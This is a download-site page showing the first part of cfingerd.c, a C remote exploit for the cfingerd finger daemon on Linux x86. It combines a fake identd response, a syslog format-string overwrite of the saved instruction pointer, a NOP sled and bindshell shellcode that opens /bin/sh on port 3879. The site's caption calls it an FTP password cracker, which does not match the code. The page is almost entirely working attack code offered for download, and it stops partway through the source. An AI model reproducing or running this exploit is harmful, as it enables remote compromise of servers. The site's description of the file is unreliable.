⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cfingerd.c

📁 一个FTP密码破解程序的源代码
💻 C
📖 第 1 页 / 共 2 页
字号:
/*
12345678901234567890123456789012345678901234567890123456789012345678901234567890
0        1         2         3         4         5         6         7         8
 * Linux(x86) remote exploit for cfingerd, by
 *
 *    -                     .           .   -
 *   -                        -            -
 *  -     -    -   - - - -- - -  -  -   - -
 *   -   -    -   -  - --   - -   - -   -  -
 *    - ---- -   -   - -    - --   --   -   -
 *   -   -    -   -  - -    - -     -   -  -
 *  -     -    -   --- -    -  --   - . - -
 *
 * Vulnerability discovered by DiGiT.
 * Exploited co-operatively by security.is members.
 *
 * PRIVATE#$%!&*@ DO NOT DISTRIBUTE!!!
 *
 * The ideology behind this:
 * <:::><align><addresses><padding><eip generator><nops><shellcode>\r\n
 *
 * Think of our approach as four buffer simultaneously.
 *
 * 1) The response buffer to cfingerd's ident request, it is
 *    padded with only the necessary bytes that normally are
 *    "USERID : UNIX : ...". Its length is limited to 256
 *    bytes.
 * 2) The global heap buffer in cfingerd that contains the
 *    user ID. It length can at maximum be 
 *    256-strlen("USERID : UNIX...\r\n"), 251 in our case.
 * 3) The cannot-recall-its-name buffer that contains:
 *    "root was fingered from <200 bytes of our evil buffer>"
 *    syslog() is then incorrectly called with this buffer as
 *    a format string.
 * 4) The internal processing buffer of syslog() (vfprintf).
 *    There, our malign format string overwrites a saved %eip
 *    register, and changes it to an address in the middle of
 *    the nops in buffer #2.
 *
 * That is all there is to it, now HAVE FUN! :)
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>


#define ADDRESS_BUFFER_SIZE   78
#define APPEND_BUFFER_SIZE    40   
#define REMOTE_BUFFER_SIZE   200   


typedef struct
{
   char *description;
   unsigned char *code;
   int type;
} shellcodes_t;


typedef struct
{
   char *name;
   unsigned long egg_address;
   unsigned long eip_address;
   int alignment;
   int padding;
} platforms_t;


struct identd_t
{
   unsigned int port;
   int sock;
} identd;


struct bruteforce_t
{
   int enabled;
   int step;
   unsigned long start;
   unsigned long stop;
} brute_force;


struct target_t
{
   char evil_buffer[512];
   char *name;
   char *request_user;
   struct in_addr in;
   int sock;
   int bindshell_sock;
   unsigned int port;
   unsigned int platform_number;
   unsigned int shellcode_number;
   platforms_t *platform;
   shellcodes_t *shellcode;
   unsigned long *eip_address;
} target;


shellcodes_t shellcodes[] =
{
   {
      "Linux(x86) JMP -1 (infinite loop), for testing purposes",
      "\xeb\xfe",
      -1
   }, {
      "Linux(x86) bindshell on port 3879",
      "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
      "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
      "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
      "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
      "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
      "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
      "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
      "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh",
      3879
   }, {
      NULL, NULL, 0
   }
};


platforms_t platforms[] =
{
   {
      "Kleenux v6.66",
      0x0804dead, /* the exact beginning of the global ident buffer */
      0xbfffc0de,
      3, 40 /* dividable with 4 */
   }, {
      NULL, 0L, 0L, 0, 0
   }
};


static char ident_buffer[] = ":::"; /* XXX: More required? */
static char prepend_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char pad_buffer[128];
static char shellcode_buffer[256];


void clean_exit(void)
{
   if (identd.sock > 0)
      close (identd.sock);   
   if (target.sock > 0)
      close (target.sock);
   if (target.bindshell_sock > 0)
      close (target.bindshell_sock);

   exit (0);
}


void signal_handler(int number)
{
   printf ("   [x] Received signal %d, shutting down...\n", number);

   clean_exit();
}


void resolve_hostname(void)
{
   struct hostent *he;
 
   if ( (inet_aton (target.name, &target.in)) == 0)
   {
      if ( (he = gethostbyname (target.name)) == NULL)
      {
         printf ("   [-] Unable to resolve %s.\n", target.name);
         exit (-1);
      }
      memcpy (&(target.in), he->h_addr, he->h_length);
      printf ("   [+] Resolved %s to %s.\n", 
         target.name, inet_ntoa(target.in));
   }

   return;
}


/* XXX: FIX THIS! */
void bind_identd(void)
{
   struct sockaddr_in sin;
   int opt = 0; /* XXX */
   struct { int a,b; } ling = { 1, 2 }; /* XXXXXXX... */

   sin.sin_family      = PF_INET;
   sin.sin_port        = htons (identd.port);
   sin.sin_addr.s_addr = INADDR_ANY;
   memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero));

   if ( (identd.sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
   {
      printf ("   [-] No socket available for assignment.\n");
      exit (-1);
   }

   if ( (setsockopt(identd.sock, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(opt))) )
   {
      close (identd.sock);
      printf ("   [-] Unable to set reusage of the identd socket.\n");
      exit (-1);
   }

   if ( (setsockopt(identd.sock, SOL_SOCKET, SO_LINGER, (void *)&ling, sizeof(ling))) )
   {
      close (identd.sock);
      printf ("   [-] Unable to enable SO_LINGER.\n");
      exit (-1);
   }

   if ( (bind (identd.sock, (struct sockaddr *)&sin, sizeof(sin))) < 0)
   {
      close (identd.sock);
      printf ("   [-] It seems that port %d is already bound.\n"
              "       Shame on you.\n", identd.port);
      exit (-1);
   }

   if ( (listen (identd.sock, 100)) < 0)
   {
      close (identd.sock);
      printf ("   [-] Failed to listen() to port %d.\n", identd.port);
      exit (-1);
   }

   printf ("   [+] Successfully bound to port %d and awaiting connections.\n",
           identd.port);

   return;
}


void connect_to_cfingerd(void)
{
   struct sockaddr_in sin;

   if ( (target.sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
   {
      printf ("   [-] No socket available for finger.\n");
      clean_exit();
   }

   sin.sin_family      = PF_INET;
   sin.sin_port        = htons (target.port);
   sin.sin_addr.s_addr = target.in.s_addr;
   memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero));

   if ( (connect (target.sock, (struct sockaddr *)&sin, sizeof (sin))) < 0)
   {
      printf ("   [-] Unable to connect to %s:%d.\n", target.name, target.port);
      clean_exit();
   }

   return;
}


void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous)
{
   int i;
   unsigned int tmp = 0;
   unsigned int copied = previous;
   unsigned int num[4] =
   {
      (unsigned int) (shellcode_addr & 0x000000ff),
      (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
      (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
      (unsigned int)((shellcode_addr & 0xff000000) >> 24)
   };

   memset (prepend_buffer, '\0', sizeof(prepend_buffer));
   memset (append_buffer,  '\0', sizeof(append_buffer));

   for (i = 0; i < 4; i++)
   {
      while (copied > 0x100)
         copied -= 0x100;

      if ( (i > 0) && (num[i-1] == num[i]) )
         strcat (append_buffer, "%n");
      else if (copied < num[i])
      {
         if ( (num[i] - copied) <= 10)
         {
            sprintf (append_buffer+strlen(append_buffer), "%.*s",
               (int)(num[i] - copied), "security.is!");
            copied += (num[i] - copied);
            strcat (append_buffer, "%n");
         } else {
            sprintf (append_buffer+strlen(append_buffer), "%%.%du",
               num[i] - copied);
            copied += (num[i] - copied);
            strcat (append_buffer, "%n");
            strcat (prepend_buffer, "AAAA"); /* a dummy */
         }
      } else {
         tmp = ((num[i] + 0xff) - copied);
         sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
         copied += ((num[i] + 0xff) - copied);
         strcat (append_buffer, "%n");
         strcat (prepend_buffer, "AAAA"); /* another dummy */
      }
      sprintf (prepend_buffer+strlen(prepend_buffer), "%c%c%c%c",
         (unsigned char) ((eip_addr+i) & 0x000000ff),
         (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
         (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
         (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
   }

   while (strlen (prepend_buffer) < ADDRESS_BUFFER_SIZE)
      strcat (prepend_buffer, "X");

   while (strlen (append_buffer) < APPEND_BUFFER_SIZE)
      strcat (append_buffer, "\x90");

#ifdef DEBUG
   printf ("\nGeneration complete:\nPrepend: ");
   for (i = 0; i < strlen (prepend_buffer); i++)
   {
      if ( ((i % 4) == 0) && (i > 0) )
         printf (".");
      printf ("%02x", (unsigned char)prepend_buffer[i]);
   }
   printf ("\nAppend: %s\n", append_buffer);
#endif

   return;
}


void construct_buffer(void)
{
   int written_bytes = ADDRESS_BUFFER_SIZE;
   int nop_count     = 0;
   unsigned long ret = 0L;

   memset (pad_buffer, '\0', sizeof(pad_buffer));
   memset (shellcode_buffer, '\0', sizeof(shellcode_buffer));

   /* STEP 1: Create the appropriate padding buffer. */
   /* XXX: Is 8-byte padding a necessity? */

   written_bytes += 19; /* XXX: strlen("root fingered from ..") */
   /* XXX: written_bytes += 47; ? (internal syslog() things) */

   while (target.platform->padding > 4)
   {
      strcat (pad_buffer, "%c");
      target.platform->padding -= 4;
      written_bytes++;
   }

   /* STEP 2: Form the address and shellcode buffers. */

//   nop_count  = strlen (ident_buffer); // necessary?
   nop_count  = ADDRESS_BUFFER_SIZE;
   nop_count += strlen (pad_buffer);
   nop_count += APPEND_BUFFER_SIZE;
   nop_count += strlen (target.shellcode->code);
   nop_count  = REMOTE_BUFFER_SIZE - nop_count;

   ret  = target.platform->egg_address;
   ret += ADDRESS_BUFFER_SIZE;
   ret += strlen (pad_buffer);
   ret += APPEND_BUFFER_SIZE;
   ret += (int)(nop_count / 2);

   (void)calculate_rets (target.platform->eip_address, ret, written_bytes);

   /* STEP 3: Assemble our evil buffer. */

   memset (shellcode_buffer, '\x90', nop_count);
   strcat (shellcode_buffer, target.shellcode->code);

   sprintf (target.evil_buffer, "%s%.*s%s%s%s%s\r\n", 
      ident_buffer, target.platform->alignment, "BLAH", 
      prepend_buffer, pad_buffer, append_buffer, shellcode_buffer);
                         
   if (strlen (target.evil_buffer) > REMOTE_BUFFER_SIZE)
   {
      printf ("   [-] Our evil buffer has exceeded its limit (%d vs. %d)\n", 
         strlen (target.evil_buffer), REMOTE_BUFFER_SIZE);
      return; /* unwise? */
   }

   return;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -